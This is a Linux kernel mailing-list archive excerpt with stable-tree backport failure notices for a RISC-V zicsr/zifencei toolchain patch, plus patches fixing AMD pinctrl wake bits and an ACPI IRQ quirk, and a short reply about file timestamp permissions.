config TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
def_bool y
# https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871…
- depends on AS_IS_GNU && AS_VERSION >= 23800
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51…
+ depends on AS_IS_GNU && AS_VERSION >= 23600
help
- Newer binutils versions default to ISA spec version 20191213 which
- moves some instructions from the I extension to the Zicsr and Zifencei
- extensions.
+ Binutils-2.38 and GCC-12.1.0 bumped the default ISA spec to the newer
+ 20191213 version, which moves some instructions from the I extension to
+ the Zicsr and Zifencei extensions. This requires explicitly specifying
+ Zicsr and Zifencei when binutils >= 2.38 or GCC >= 12.1.0. Zicsr
+ and Zifencei are supported in binutils from version 2.36 onwards.
+ To make life easier, and avoid forcing toolchains that default to a
+ newer ISA spec to version 2.2, relax the check to binutils >= 2.36.
+ For clang < 17 or GCC < 11.1.0, for which this is not possible, this is
+ dealt with in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
config TOOLCHAIN_NEEDS_OLD_ISA_SPEC
def_bool y
depends on TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
# https://github.com/llvm/llvm-project/commit/22e199e6afb1263c943c0c0d4498694…
- depends on CC_IS_CLANG && CLANG_VERSION < 170000
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7…
+ depends on (CC_IS_CLANG && CLANG_VERSION < 170000) || (CC_IS_GCC && GCC_VERSION < 110100)
help
- Certain versions of clang do not support zicsr and zifencei via -march
- but newer versions of binutils require it for the reasons noted in the
- help text of CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. This
- option causes an older ISA spec compatible with these older versions
- of clang to be passed to GAS, which has the same result as passing zicsr
- and zifencei to -march.
+ Certain versions of clang and GCC do not support zicsr and zifencei via
+ -march. This option causes an older ISA spec compatible with these older
+ versions of clang and GCC to be passed to GAS, which has the same result
+ as passing zicsr and zifencei to -march.
config FPU
bool "FPU support"
diff --git a/arch/riscv/kernel/compat_vdso/Makefile b/arch/riscv/kernel/compat_vdso/Makefile
index 189345773e7e..b86e5e2c3aea 100644
--- a/arch/riscv/kernel/compat_vdso/Makefile
+++ b/arch/riscv/kernel/compat_vdso/Makefile
@@ -11,7 +11,13 @@ compat_vdso-syms += flush_icache
COMPAT_CC := $(CC)
COMPAT_LD := $(LD)
-COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+# binutils 2.35 does not support the zifencei extension, but in the ISA
+# spec 20191213, G stands for IMAFD_ZICSR_ZIFENCEI.
+ifdef CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
+ COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+else
+ COMPAT_CC_FLAGS := -march=rv32imafd -mabi=ilp32
+endif
COMPAT_LD_FLAGS := -melf32lriscv
# Disable attributes, as they're useless and break the build.
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils" failed to apply to 5.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.4.y
git checkout FETCH_HEAD
git cherry-pick -x ca09f772cccaeec4cd05a21528c37a260aa2dd2c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082125-scoop-gauntlet-ffb7@gregkh' --subject-prefix 'PATCH 5.4.y' HEAD^..
Possible dependencies:
ca09f772ccca ("riscv: Handle zicsr/zifencei issue between gcc and binutils")
e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
aae538cd03bc ("riscv: fix detection of toolchain Zihintpause support")
8eb060e10185 ("arch/riscv: add Zihintpause support")
1631ba1259d6 ("riscv: Add support for non-coherent devices using zicbom extension")
73448ae6204f ("RISC-V: Some Svpbmt fixes and cleanups")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From ca09f772cccaeec4cd05a21528c37a260aa2dd2c Mon Sep 17 00:00:00 2001
From: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Date: Thu, 10 Aug 2023 00:56:48 +0800
Subject: [PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils
Binutils-2.38 and GCC-12.1.0 bumped[0][1] the default ISA spec to the newer
20191213 version which moves some instructions from the I extension to the
Zicsr and Zifencei extensions. So if one of the binutils and GCC exceeds
that version, we should explicitly specifying Zicsr and Zifencei via -march
to cope with the new changes. but this only occurs when binutils >= 2.36
and GCC >= 11.1.0. It's a different story when binutils < 2.36.
binutils-2.36 supports the Zifencei extension[2] and splits Zifencei and
Zicsr from I[3]. GCC-11.1.0 is particular[4] because it add support Zicsr
and Zifencei extension for -march. binutils-2.35 does not support the
Zifencei extension, and does not need to specify Zicsr and Zifencei when
working with GCC >= 12.1.0.
To make our lives easier, let's relax the check to binutils >= 2.36 in
CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. For the other two cases,
where clang < 17 or GCC < 11.1.0, we will deal with them in
CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
For more information, please refer to:
commit 6df2a016c0c8 ("riscv: fix build with binutils 2.38")
commit e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871… [0]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51… [1]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=5a1b31e1e1cee6e9f… [2]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=729a53530e86972d1… [3]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7… [4]
Link: https://lore.kernel.org/all/20230308220842.1231003-1-conor@kernel.org
Link: https://lore.kernel.org/all/20230223220546.52879-1-conor@kernel.org
Reviewed-by: Conor Dooley <conor.dooley(a)microchip.com>
Acked-by: Guo Ren <guoren(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Link: https://lore.kernel.org/r/20230809165648.21071-1-xingmingzheng@iscas.ac.cn
Signed-off-by: Palmer Dabbelt <palmer(a)rivosinc.com>
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 4c07b9189c86..10e7a7ad175a 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -570,24 +570,30 @@ config TOOLCHAIN_HAS_ZIHINTPAUSE
config TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
def_bool y
# https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871…
- depends on AS_IS_GNU && AS_VERSION >= 23800
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51…
+ depends on AS_IS_GNU && AS_VERSION >= 23600
help
- Newer binutils versions default to ISA spec version 20191213 which
- moves some instructions from the I extension to the Zicsr and Zifencei
- extensions.
+ Binutils-2.38 and GCC-12.1.0 bumped the default ISA spec to the newer
+ 20191213 version, which moves some instructions from the I extension to
+ the Zicsr and Zifencei extensions. This requires explicitly specifying
+ Zicsr and Zifencei when binutils >= 2.38 or GCC >= 12.1.0. Zicsr
+ and Zifencei are supported in binutils from version 2.36 onwards.
+ To make life easier, and avoid forcing toolchains that default to a
+ newer ISA spec to version 2.2, relax the check to binutils >= 2.36.
+ For clang < 17 or GCC < 11.1.0, for which this is not possible, this is
+ dealt with in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
config TOOLCHAIN_NEEDS_OLD_ISA_SPEC
def_bool y
depends on TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
# https://github.com/llvm/llvm-project/commit/22e199e6afb1263c943c0c0d4498694…
- depends on CC_IS_CLANG && CLANG_VERSION < 170000
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7…
+ depends on (CC_IS_CLANG && CLANG_VERSION < 170000) || (CC_IS_GCC && GCC_VERSION < 110100)
help
- Certain versions of clang do not support zicsr and zifencei via -march
- but newer versions of binutils require it for the reasons noted in the
- help text of CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. This
- option causes an older ISA spec compatible with these older versions
- of clang to be passed to GAS, which has the same result as passing zicsr
- and zifencei to -march.
+ Certain versions of clang and GCC do not support zicsr and zifencei via
+ -march. This option causes an older ISA spec compatible with these older
+ versions of clang and GCC to be passed to GAS, which has the same result
+ as passing zicsr and zifencei to -march.
config FPU
bool "FPU support"
diff --git a/arch/riscv/kernel/compat_vdso/Makefile b/arch/riscv/kernel/compat_vdso/Makefile
index 189345773e7e..b86e5e2c3aea 100644
--- a/arch/riscv/kernel/compat_vdso/Makefile
+++ b/arch/riscv/kernel/compat_vdso/Makefile
@@ -11,7 +11,13 @@ compat_vdso-syms += flush_icache
COMPAT_CC := $(CC)
COMPAT_LD := $(LD)
-COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+# binutils 2.35 does not support the zifencei extension, but in the ISA
+# spec 20191213, G stands for IMAFD_ZICSR_ZIFENCEI.
+ifdef CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
+ COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+else
+ COMPAT_CC_FLAGS := -march=rv32imafd -mabi=ilp32
+endif
COMPAT_LD_FLAGS := -melf32lriscv
# Disable attributes, as they're useless and break the build.
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils" failed to apply to 5.10-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.10-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.10.y
git checkout FETCH_HEAD
git cherry-pick -x ca09f772cccaeec4cd05a21528c37a260aa2dd2c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082123-arson-ventricle-83cf@gregkh' --subject-prefix 'PATCH 5.10.y' HEAD^..
Possible dependencies:
ca09f772ccca ("riscv: Handle zicsr/zifencei issue between gcc and binutils")
e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
aae538cd03bc ("riscv: fix detection of toolchain Zihintpause support")
8eb060e10185 ("arch/riscv: add Zihintpause support")
1631ba1259d6 ("riscv: Add support for non-coherent devices using zicbom extension")
73448ae6204f ("RISC-V: Some Svpbmt fixes and cleanups")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From ca09f772cccaeec4cd05a21528c37a260aa2dd2c Mon Sep 17 00:00:00 2001
From: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Date: Thu, 10 Aug 2023 00:56:48 +0800
Subject: [PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils
Binutils-2.38 and GCC-12.1.0 bumped[0][1] the default ISA spec to the newer
20191213 version which moves some instructions from the I extension to the
Zicsr and Zifencei extensions. So if one of the binutils and GCC exceeds
that version, we should explicitly specifying Zicsr and Zifencei via -march
to cope with the new changes. but this only occurs when binutils >= 2.36
and GCC >= 11.1.0. It's a different story when binutils < 2.36.
binutils-2.36 supports the Zifencei extension[2] and splits Zifencei and
Zicsr from I[3]. GCC-11.1.0 is particular[4] because it add support Zicsr
and Zifencei extension for -march. binutils-2.35 does not support the
Zifencei extension, and does not need to specify Zicsr and Zifencei when
working with GCC >= 12.1.0.
To make our lives easier, let's relax the check to binutils >= 2.36 in
CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. For the other two cases,
where clang < 17 or GCC < 11.1.0, we will deal with them in
CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
For more information, please refer to:
commit 6df2a016c0c8 ("riscv: fix build with binutils 2.38")
commit e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871… [0]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51… [1]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=5a1b31e1e1cee6e9f… [2]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=729a53530e86972d1… [3]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7… [4]
Link: https://lore.kernel.org/all/20230308220842.1231003-1-conor@kernel.org
Link: https://lore.kernel.org/all/20230223220546.52879-1-conor@kernel.org
Reviewed-by: Conor Dooley <conor.dooley(a)microchip.com>
Acked-by: Guo Ren <guoren(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Link: https://lore.kernel.org/r/20230809165648.21071-1-xingmingzheng@iscas.ac.cn
Signed-off-by: Palmer Dabbelt <palmer(a)rivosinc.com>
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 4c07b9189c86..10e7a7ad175a 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -570,24 +570,30 @@ config TOOLCHAIN_HAS_ZIHINTPAUSE
config TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
def_bool y
# https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871…
- depends on AS_IS_GNU && AS_VERSION >= 23800
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51…
+ depends on AS_IS_GNU && AS_VERSION >= 23600
help
- Newer binutils versions default to ISA spec version 20191213 which
- moves some instructions from the I extension to the Zicsr and Zifencei
- extensions.
+ Binutils-2.38 and GCC-12.1.0 bumped the default ISA spec to the newer
+ 20191213 version, which moves some instructions from the I extension to
+ the Zicsr and Zifencei extensions. This requires explicitly specifying
+ Zicsr and Zifencei when binutils >= 2.38 or GCC >= 12.1.0. Zicsr
+ and Zifencei are supported in binutils from version 2.36 onwards.
+ To make life easier, and avoid forcing toolchains that default to a
+ newer ISA spec to version 2.2, relax the check to binutils >= 2.36.
+ For clang < 17 or GCC < 11.1.0, for which this is not possible, this is
+ dealt with in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
config TOOLCHAIN_NEEDS_OLD_ISA_SPEC
def_bool y
depends on TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
# https://github.com/llvm/llvm-project/commit/22e199e6afb1263c943c0c0d4498694…
- depends on CC_IS_CLANG && CLANG_VERSION < 170000
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7…
+ depends on (CC_IS_CLANG && CLANG_VERSION < 170000) || (CC_IS_GCC && GCC_VERSION < 110100)
help
- Certain versions of clang do not support zicsr and zifencei via -march
- but newer versions of binutils require it for the reasons noted in the
- help text of CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. This
- option causes an older ISA spec compatible with these older versions
- of clang to be passed to GAS, which has the same result as passing zicsr
- and zifencei to -march.
+ Certain versions of clang and GCC do not support zicsr and zifencei via
+ -march. This option causes an older ISA spec compatible with these older
+ versions of clang and GCC to be passed to GAS, which has the same result
+ as passing zicsr and zifencei to -march.
config FPU
bool "FPU support"
diff --git a/arch/riscv/kernel/compat_vdso/Makefile b/arch/riscv/kernel/compat_vdso/Makefile
index 189345773e7e..b86e5e2c3aea 100644
--- a/arch/riscv/kernel/compat_vdso/Makefile
+++ b/arch/riscv/kernel/compat_vdso/Makefile
@@ -11,7 +11,13 @@ compat_vdso-syms += flush_icache
COMPAT_CC := $(CC)
COMPAT_LD := $(LD)
-COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+# binutils 2.35 does not support the zifencei extension, but in the ISA
+# spec 20191213, G stands for IMAFD_ZICSR_ZIFENCEI.
+ifdef CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
+ COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+else
+ COMPAT_CC_FLAGS := -march=rv32imafd -mabi=ilp32
+endif
COMPAT_LD_FLAGS := -melf32lriscv
# Disable attributes, as they're useless and break the build.
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x ca09f772cccaeec4cd05a21528c37a260aa2dd2c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082121-founder-chrome-72a6@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
ca09f772ccca ("riscv: Handle zicsr/zifencei issue between gcc and binutils")
e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
aae538cd03bc ("riscv: fix detection of toolchain Zihintpause support")
8eb060e10185 ("arch/riscv: add Zihintpause support")
1631ba1259d6 ("riscv: Add support for non-coherent devices using zicbom extension")
73448ae6204f ("RISC-V: Some Svpbmt fixes and cleanups")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From ca09f772cccaeec4cd05a21528c37a260aa2dd2c Mon Sep 17 00:00:00 2001
From: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Date: Thu, 10 Aug 2023 00:56:48 +0800
Subject: [PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils
Binutils-2.38 and GCC-12.1.0 bumped[0][1] the default ISA spec to the newer
20191213 version which moves some instructions from the I extension to the
Zicsr and Zifencei extensions. So if one of the binutils and GCC exceeds
that version, we should explicitly specifying Zicsr and Zifencei via -march
to cope with the new changes. but this only occurs when binutils >= 2.36
and GCC >= 11.1.0. It's a different story when binutils < 2.36.
binutils-2.36 supports the Zifencei extension[2] and splits Zifencei and
Zicsr from I[3]. GCC-11.1.0 is particular[4] because it add support Zicsr
and Zifencei extension for -march. binutils-2.35 does not support the
Zifencei extension, and does not need to specify Zicsr and Zifencei when
working with GCC >= 12.1.0.
To make our lives easier, let's relax the check to binutils >= 2.36 in
CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. For the other two cases,
where clang < 17 or GCC < 11.1.0, we will deal with them in
CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
For more information, please refer to:
commit 6df2a016c0c8 ("riscv: fix build with binutils 2.38")
commit e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871… [0]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51… [1]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=5a1b31e1e1cee6e9f… [2]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=729a53530e86972d1… [3]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7… [4]
Link: https://lore.kernel.org/all/20230308220842.1231003-1-conor@kernel.org
Link: https://lore.kernel.org/all/20230223220546.52879-1-conor@kernel.org
Reviewed-by: Conor Dooley <conor.dooley(a)microchip.com>
Acked-by: Guo Ren <guoren(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Link: https://lore.kernel.org/r/20230809165648.21071-1-xingmingzheng@iscas.ac.cn
Signed-off-by: Palmer Dabbelt <palmer(a)rivosinc.com>
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 4c07b9189c86..10e7a7ad175a 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -570,24 +570,30 @@ config TOOLCHAIN_HAS_ZIHINTPAUSE
config TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
def_bool y
# https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871…
- depends on AS_IS_GNU && AS_VERSION >= 23800
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51…
+ depends on AS_IS_GNU && AS_VERSION >= 23600
help
- Newer binutils versions default to ISA spec version 20191213 which
- moves some instructions from the I extension to the Zicsr and Zifencei
- extensions.
+ Binutils-2.38 and GCC-12.1.0 bumped the default ISA spec to the newer
+ 20191213 version, which moves some instructions from the I extension to
+ the Zicsr and Zifencei extensions. This requires explicitly specifying
+ Zicsr and Zifencei when binutils >= 2.38 or GCC >= 12.1.0. Zicsr
+ and Zifencei are supported in binutils from version 2.36 onwards.
+ To make life easier, and avoid forcing toolchains that default to a
+ newer ISA spec to version 2.2, relax the check to binutils >= 2.36.
+ For clang < 17 or GCC < 11.1.0, for which this is not possible, this is
+ dealt with in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
config TOOLCHAIN_NEEDS_OLD_ISA_SPEC
def_bool y
depends on TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
# https://github.com/llvm/llvm-project/commit/22e199e6afb1263c943c0c0d4498694…
- depends on CC_IS_CLANG && CLANG_VERSION < 170000
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7…
+ depends on (CC_IS_CLANG && CLANG_VERSION < 170000) || (CC_IS_GCC && GCC_VERSION < 110100)
help
- Certain versions of clang do not support zicsr and zifencei via -march
- but newer versions of binutils require it for the reasons noted in the
- help text of CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. This
- option causes an older ISA spec compatible with these older versions
- of clang to be passed to GAS, which has the same result as passing zicsr
- and zifencei to -march.
+ Certain versions of clang and GCC do not support zicsr and zifencei via
+ -march. This option causes an older ISA spec compatible with these older
+ versions of clang and GCC to be passed to GAS, which has the same result
+ as passing zicsr and zifencei to -march.
config FPU
bool "FPU support"
diff --git a/arch/riscv/kernel/compat_vdso/Makefile b/arch/riscv/kernel/compat_vdso/Makefile
index 189345773e7e..b86e5e2c3aea 100644
--- a/arch/riscv/kernel/compat_vdso/Makefile
+++ b/arch/riscv/kernel/compat_vdso/Makefile
@@ -11,7 +11,13 @@ compat_vdso-syms += flush_icache
COMPAT_CC := $(CC)
COMPAT_LD := $(LD)
-COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+# binutils 2.35 does not support the zifencei extension, but in the ISA
+# spec 20191213, G stands for IMAFD_ZICSR_ZIFENCEI.
+ifdef CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
+ COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+else
+ COMPAT_CC_FLAGS := -march=rv32imafd -mabi=ilp32
+endif
COMPAT_LD_FLAGS := -melf32lriscv
# Disable attributes, as they're useless and break the build.
2 years, 4 months
- 1
- 0
[PATCH] pinctrl: amd: Mask wake bits on probe again
by Mario Limonciello
Shubhra reports that their laptop is heating up over s2idle. Even though
it's getting into the deepest state, it appears to be having spurious
wakeup events.
While debugging a tangential issue with the RTC Carsten reports that recent
6.1.y based kernel face a similar problem.
Looking at acpidump and GPIO register comparisons these spurious wakeup
events are from the GPIO associated with the I2C touchpad on both laptops
and occur even when the touchpad is not marked as a wake source by the
kernel.
This means that the boot firmware has programmed these bits and because
Linux didn't touch them lead to spurious wakeup events from that GPIO.
To fix this issue, restore most of the code that previously would clear all
the bits associated with wakeup sources. This will allow the kernel to only
program the wake up sources that are necessary.
This is similar to what was done previously; but only the wake bits are
cleared by default instead of interrupts and wake bits. If any other
problems are reported then it may make sense to clear interrupts again too.
Cc: Sachi King <nakato(a)nakato.io>
Cc: stable(a)vger.kernel.org
Cc: Thorsten Leemhuis <regressions(a)leemhuis.info>
Fixes: 65f6c7c91cb2 ("pinctrl: amd: Revert "pinctrl: amd: disable and mask interrupts on probe"")
Reported-by: "Shubhra Prakash Nandi" <email2shubhra(a)gmail.com>
Closes: https://bugzilla.kernel.org/show_bug.cgi?id=217754
Reported-by: "Carsten Hatger" <xmb8dsv4(a)gmail.com>
Link: https://bugzilla.kernel.org/show_bug.cgi?id=217626#c28
Signed-off-by: Mario Limonciello <mario.limonciello(a)amd.com>
---
drivers/pinctrl/pinctrl-amd.c | 30 ++++++++++++++++++++++++++++++
1 file changed, 30 insertions(+)
diff --git a/drivers/pinctrl/pinctrl-amd.c b/drivers/pinctrl/pinctrl-amd.c
index 20bd97a603d9c..74241b2ff21e3 100644
--- a/drivers/pinctrl/pinctrl-amd.c
+++ b/drivers/pinctrl/pinctrl-amd.c
@@ -862,6 +862,33 @@ static const struct pinconf_ops amd_pinconf_ops = {
.pin_config_group_set = amd_pinconf_group_set,
};
+static void amd_gpio_irq_init(struct amd_gpio *gpio_dev)
+{
+ struct pinctrl_desc *desc = gpio_dev->pctrl->desc;
+ unsigned long flags;
+ u32 pin_reg, mask;
+ int i;
+
+ mask = BIT(WAKE_CNTRL_OFF_S0I3) | BIT(WAKE_CNTRL_OFF_S3) |
+ BIT(WAKE_CNTRL_OFF_S4);
+
+ for (i = 0; i < desc->npins; i++) {
+ int pin = desc->pins[i].number;
+ const struct pin_desc *pd = pin_desc_get(gpio_dev->pctrl, pin);
+
+ if (!pd)
+ continue;
+
+ raw_spin_lock_irqsave(&gpio_dev->lock, flags);
+
+ pin_reg = readl(gpio_dev->base + pin * 4);
+ pin_reg &= ~mask;
+ writel(pin_reg, gpio_dev->base + pin * 4);
+
+ raw_spin_unlock_irqrestore(&gpio_dev->lock, flags);
+ }
+}
+
#ifdef CONFIG_PM_SLEEP
static bool amd_gpio_should_save(struct amd_gpio *gpio_dev, unsigned int pin)
{
@@ -1099,6 +1126,9 @@ static int amd_gpio_probe(struct platform_device *pdev)
return PTR_ERR(gpio_dev->pctrl);
}
+ /* Disable and mask interrupts */
+ amd_gpio_irq_init(gpio_dev);
+
girq = &gpio_dev->gc.irq;
gpio_irq_chip_set_chip(girq, &amd_gpio_irqchip);
/* This will let us handle the parent IRQ in the driver */
--
2.34.1
2 years, 4 months
- 2
- 1
[PATCH] ACPI: resource: Fix IRQ override quirk for PCSpecialist Elimina Pro 16 M
by Hans de Goede
It turns out that some PCSpecialist Elimina Pro 16 M models
have "GM6BGEQ" as DMI product-name instead of "Elimina Pro 16 M",
causing the existing DMI quirk to not work on these models.
The DMI board-name is always "GM6BGEQ", so match on that instead.
Fixes: 56fec0051a69 ("ACPI: resource: Add IRQ override quirk for PCSpecialist Elimina Pro 16 M")
Link: https://bugzilla.kernel.org/show_bug.cgi?id=217394#c36
Cc: All applicable <stable(a)vger.kernel.org>
Signed-off-by: Hans de Goede <hdegoede(a)redhat.com>
---
drivers/acpi/resource.c | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/drivers/acpi/resource.c b/drivers/acpi/resource.c
index a4d9f149b48d..32cfa3f4efd3 100644
--- a/drivers/acpi/resource.c
+++ b/drivers/acpi/resource.c
@@ -501,9 +501,13 @@ static const struct dmi_system_id maingear_laptop[] = {
static const struct dmi_system_id pcspecialist_laptop[] = {
{
.ident = "PCSpecialist Elimina Pro 16 M",
+ /*
+ * Some models have product-name "Elimina Pro 16 M",
+ * others "GM6BGEQ". Match on board-name to match both.
+ */
.matches = {
DMI_MATCH(DMI_SYS_VENDOR, "PCSpecialist"),
- DMI_MATCH(DMI_PRODUCT_NAME, "Elimina Pro 16 M"),
+ DMI_MATCH(DMI_BOARD_NAME, "GM6BGEQ"),
},
},
{ }
--
2.41.0
2 years, 4 months
- 2
- 1
Re: A small bug in file access control that all have neglected
by Willy Tarreau
Hello,
On Tue, Aug 15, 2023 at 11:42:55AM +0800, Xuancong Wang wrote:
> Dear all,
>
> I found in all versions of Linux (at least for kernel version 4/5/6), the
> following bug exists:
> When a user is granted full access to a file of which he is not the owner,
> he can read/write/delete the file, but cannot "change only its last
> modification date". In particular, `touch -m` fails and Python's
> `os.utime()` also fails with "Operation not permitted", but `touch` without
> -m works.
>
> This applies to both FACL extended permission as well as basic Linux file
> permission.
>
> Thank you for fixing this in the future!
Your description is unclear to me, particularly what you call "is
granted full access": do you mean chmod here ? If so, you can't
delete it, so maybe you mean something else ? You should share a
full reproducer showing the problem. Also, the fact that one
command (touch) works and another one (python) does not indicates
they don't do the same thing. So I suspect it's more related to
the way the file is accessed where both commands use different
semantics. As such, using strace on both commands showing the
sequence accessing that file will reveal the difference and very
likely explain why one can and the other cannot change the last
modification date.
Willy
PS: there's no need to keep security@ here, it's used to dispatch
issues to maintainers and coordinate fixes, now that your report
is public it will not bring anything anymore.
2 years, 4 months
- 3
- 3
